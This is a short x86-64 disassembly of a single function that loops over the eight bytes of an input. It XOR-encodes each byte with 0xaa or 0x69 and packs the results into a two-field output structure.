Disassembly:
mov qword [rsp + 8], rbx
xor r9d, r9d
mov r8, rcx
mov qword [rcx], r9
mov r11, rdx
mov r10d, r9d
mov ecx, r9d
lea ebx, [r9 + 0x69]
movzx eax, r11b
mov edx, 0xaa
cmp al, bl
cmovne rdx, rbx
shr r11, 8
xor rax, rdx
inc r9d
shl rax, cl
add qword [r8], rax
shl rdx, cl
add ecx, 8
add r10, rdx
cmp r9d, 8
jb 0x14000ac7f
mov rbx, qword [rsp + 8]
mov rax, r8
mov qword [r8 + 8], r10
ret